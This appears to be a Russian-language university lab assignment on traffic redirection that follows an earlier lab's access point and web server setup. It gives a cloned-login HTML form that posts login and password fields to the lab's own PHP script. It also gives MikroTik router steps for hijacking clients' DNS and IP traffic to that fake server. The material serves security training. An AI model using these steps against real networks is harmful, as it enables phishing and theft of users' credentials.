ЛР 3 - Перенаправление
Данная лабораторная работа подразумевает, что у вас существуют точка доступа и веб-сервер из ЛР 2 .
Перенаправление через DNS
- Определите интерфейс входа, который подлежит клонированию.
- Сохраните страницу интерфейса в формате html.
- Отредактируйте код страницы таким образом, чтобы форма ввода вызывала соответствующий скрипт php, а именования полей совпадали с примером:
<form action="https://IP_OR_FQDN/action.php" method="post"> <!-- ЗАМЕНИТЕ IP_OR_FQDN -->
<input type="text" name="login" placeholder="Ваш Email или телефон" minlength="8"><br><br>
<input type="password" name="password" placeholder="Ваш пароль" minlength="8"><br><br><br>
<input type="submit" value="Войти" class="enter">
</form>
- Загрузите страницу на веб-сервер в качестве индексной.
- Установите SSL-сертификат на веб-сервер
- На роутере в меню IP - DNS - Static добавьте новую А-запись, в которой хост, с которого скопирован интерфейс входа, привязан к ip Вашего веб-сервера.
Перенаправление DNS-запросов
- На роутере в меню IP - Firewall - NAT создайте новое правило:
Вкладка General:
Chain: dstnat
Src. Address: клиентская_подсеть
Dst. Address: ip_dns_клиента
Protocol: udp
Port: 53
Вкладка Action:
Action: dst-nat
To addresses: ip_вашего_dns
- Проверьте, куда идут запросы.
Перенаправление на основе ip
- На роутере в меню IP - Firewall - NAT создайте новое правило:
Вкладка General:
Chain: dstnat
Src. Address: клиентская_подсеть
Dst. Address: ip_запрашиваемого_сервера
Вкладка Action:
Action: dst-nat
To addresses: ip_веб-сервера
- На веб-сервере включите tcpdump и проверьте, что запросы приходят на него.